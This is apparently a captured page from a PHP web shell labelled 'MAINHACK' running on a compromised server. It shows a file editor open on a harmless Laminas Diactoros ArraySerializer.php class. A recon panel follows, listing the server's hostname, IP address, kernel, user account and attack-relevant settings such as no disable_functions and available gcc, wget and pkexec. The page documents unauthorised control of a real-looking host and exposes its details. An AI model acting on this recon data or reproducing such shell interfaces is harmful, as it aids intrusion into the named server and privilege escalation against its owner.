[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ArraySerializer.php
<?php declare(strict_types=1); namespace Laminas\Diactoros\Response; use Laminas\Diactoros\Exception; use Laminas\Diactoros\Response; use Laminas\Diactoros\Stream; use Psr\Http\Message\ResponseInterface; use Throwable; use function sprintf; /** * Serialize or deserialize response messages to/from arrays. * * This class provides functionality for serializing a ResponseInterface instance * to an array, as well as the reverse operation of creating a Response instance * from an array representing a message. */ final class ArraySerializer { /** * Serialize a response message to an array. * * @return array{ * status_code: int, * reason_phrase: string, * protocol_version: string, * headers: array<array<string>>, * body: string * } */ public static function toArray(ResponseInterface $response): array { return [ 'status_code' => $response->getStatusCode(), 'reason_phrase' => $response->getReasonPhrase(), 'protocol_version' => $response->getProtocolVersion(), 'headers' => $response->getHeaders(), 'body' => (string) $response->getBody(), ]; } /** * Deserialize a response array to a response instance. * * @throws Exception\DeserializationException When cannot deserialize response. */ public static function fromArray(array $serializedResponse): Response { try { $body = new Stream('php://memory', 'wb+'); $body->write(self::getValueFromKey($serializedResponse, 'body')); $statusCode = self::getValueFromKey($serializedResponse, 'status_code'); $headers = self::getValueFromKey($serializedResponse, 'headers'); $protocolVersion = self::getValueFromKey($serializedResponse, 'protocol_version'); $reasonPhrase = self::getValueFromKey($serializedResponse, 'reason_phrase'); return (new Response($body, $statusCode, $headers)) ->withProtocolVersion($protocolVersion) ->withStatus($statusCode, $reasonPhrase); } catch (Throwable $exception) { throw Exception\DeserializationException::forResponseFromArray($exception); } } /** * @return mixed * @throws Exception\DeserializationException */ private static function getValueFromKey(array $data, string $key, ?string $message = null) { if (isset($data[$key])) { return $data[$key]; } if ($message === null) { $message = sprintf('Missing "%s" key in serialized response', $key); } throw new Exception\DeserializationException($message); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.59 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002